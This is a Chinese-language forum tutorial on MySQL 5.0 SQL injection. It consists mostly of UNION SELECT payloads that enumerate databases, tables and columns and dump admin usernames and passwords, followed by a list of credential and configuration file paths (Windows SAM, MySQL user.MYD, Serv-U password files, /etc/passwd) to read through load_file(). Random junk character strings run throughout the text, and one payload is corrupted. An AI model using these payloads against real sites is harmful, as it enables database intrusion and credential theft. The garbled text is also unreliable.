mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。

2 s& h& A( |, G
7 j5 q+ Q7 B6 H0 S
( r  c% i5 ^9 K3 @2 ]Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称
5 O! l% s, p% q3 t9 U
|TABLES ->存储表名
7 ]5 G7 H! Y# m|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
- x  K9 \! P: b; Q|—字段：TABLE_NAME ->存储表的表名

3 F1 ]8 W' ]" ]4 C* X) x# P|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
* X7 p0 e2 |5 k- n0 [
) r+ T7 q4 W8 T; n% U|—字段：COLUMN_NAME ->该字段的名称

+ g! X1 e. |/ ^; P8 _8 X#########################################################################
##
+ {! Y1 I( f, E3 Y& C
  a6 d- Q6 G5 f- c/ W7 c0×001 获取系统信息:

union select 1,2,3,4,5,concat
; x" L/ R4 I0 d* k(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
  E- s# d, Q- ?) d2 P  ?, ?" l(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

& ^( N' g4 I* }  \* n* [. I- _/*

, s* b1 M2 O6 z  a4 Z0 H@@global.version_compile_os 获取系统版本
' [3 I" t% ?& M
' I! o' c1 n  _; Q& N@@datadir 数据库路径
database() 当前数据库名称
7 {% k) n5 [' u( ~: g" P- ]0x3c62723e 换行HEX值

*/
; U& r) q, y/ @! h$ a& S
3 G3 F" M8 ?/ L% f2 Y######################################################################

" s( y4 O) y) N7 S" `% u7 r0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
4 d( m& A5 d1 Sinformation_schema.tables where table_schema=0x67617264656e /*
3 U! f& Y. h& _# s5 X) U
+ u3 N9 {4 t% T/*
6 a* P7 Y4 n8 V% W% R3 c9 f; U
0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

# r, O$ x: b# a, B2 K8 `% m*/
( K6 ?' w& l; p- B+ _6 P) [6 w9 z
9 Y0 x9 n9 L4 T/ A/ P######################################################################
8 c( f% e8 n$ H) l" D
0×003 获取字段
: ?- }5 w( \- C+ R" ]
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and

& m0 Q( u' ?( I) }( h% \! p. I
0 j1 E8 ~2 d# J9 utable_schema=0x67617264656e limit 1 /*
: M# z; y3 i$ A; y/ ^3 q( M. ]6 k
' N( J. Z: f8 g" z' v/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

* S; s7 g/ V% B8 {6 t9 L0x61646d696e ->选择一个表
( [- v  z' B: L! [: u: y9 d
0x67617264656e ->数据库名
0 K, a5 j* T3 k+ C6 \) v9 N0 Q
*/

#####################################################################
" F9 w; B  p, p: M2 ]9 A6 ^5 B
0×004 获取数据
# c5 Z, A7 i% e
7 q8 z& i: d* F" X4 N: D+ Gunion select 1,2,3
# B1 [. |+ t. l,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
6 \0 O% j) S3 j) A6 f
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
+ S# d6 E( r3 U2 [
/*

# h2 M, A4 c9 r: p) p$ @" A: A9 q& c0x3c62723e 换行符号HEX编码
5 z4 w& ~2 s1 T- j6 b
group_concat 同时获得该字段所有数据

3 ~2 i) Q# e5 i. k5 v6 q8 @3 M*/

5 g5 ^' |: D. O$ [



1 _3 o' y. y) Z顺便添加一些mysql注入时非常有用的一些东西
* v& b) H: ~* t% U# S# E
7 d9 j; e" f! |  ~: K# F3 O6 f5 `简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1:system_user() 系统用户名
2:user()        用户名
3:current_user()  当前用户名
$ t5 j$ R$ }6 U4:session_user()连接数据库的用户名
7 X, D* p! [* ~) x$ s# t+ D8 G5:database()    数据库名
' O' Z- s1 ~7 F+ ~0 ~4 P% M6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
! R5 E6 e( N" z/ R; U8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
# Z" Z6 o9 V+ f+ {8 `5 J10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
2 M1 @) I& P; l( w+ i7 nWINDOWS下:
7 y$ d9 o  J" d9 {- |c:/boot.ini          //查看系统版本
c:/windows/php.ini   //php配置信息
9 ^& b0 J! U8 K" j7 m  V8 dc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
- g1 }9 t5 Y8 J; _/ W, r3 cc:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
" p& ?" j! U, i' O9 {c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
3 N1 i& ^7 f; q# Tc:\Program Files\Serv-U\ServUDaemon.ini
, Y7 b9 E) y: q* }6 ?& Tc:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
8 T1 X$ C. K" ?# [" v6 pc:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
% n' {( ?2 k% ]. l6 a. |' hc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
9 B* |$ X$ l( ?C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
/ _  ^7 j' L5 M8 Q5 }c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
. c" }1 v6 {  E" ^0 \c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.
- q* J: G5 F* E; z0 O6 z+ J

c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
0 i* Q$ V, M- Q7 H% ~$ Y
, X4 x7 k! s. o  kLUNIX/UNIX下:
9 }" j' \! a" }/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
8 ^; Y+ i2 B2 P* h- h3 l) ^+ s! ^. i/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
6 }  b; t8 R, r, g8 ^8 O4 s/usr/local/app/php5/lib/php.ini //PHP相关设置
- b  ^( c! }3 N" D+ E: v; `1 d/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
* @5 k, o8 F& G1 u4 I/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
4 N( r# s! r7 k4 P" A7 G" v, G/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
! ]( J0 h9 @2 C- K$ K/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
, ~6 F6 H. F! }1 c/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
3 c8 A/ V# ^2 p* F% O( Q3 |. g/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

$ ]+ A1 Q! Z& @8 X* n4 k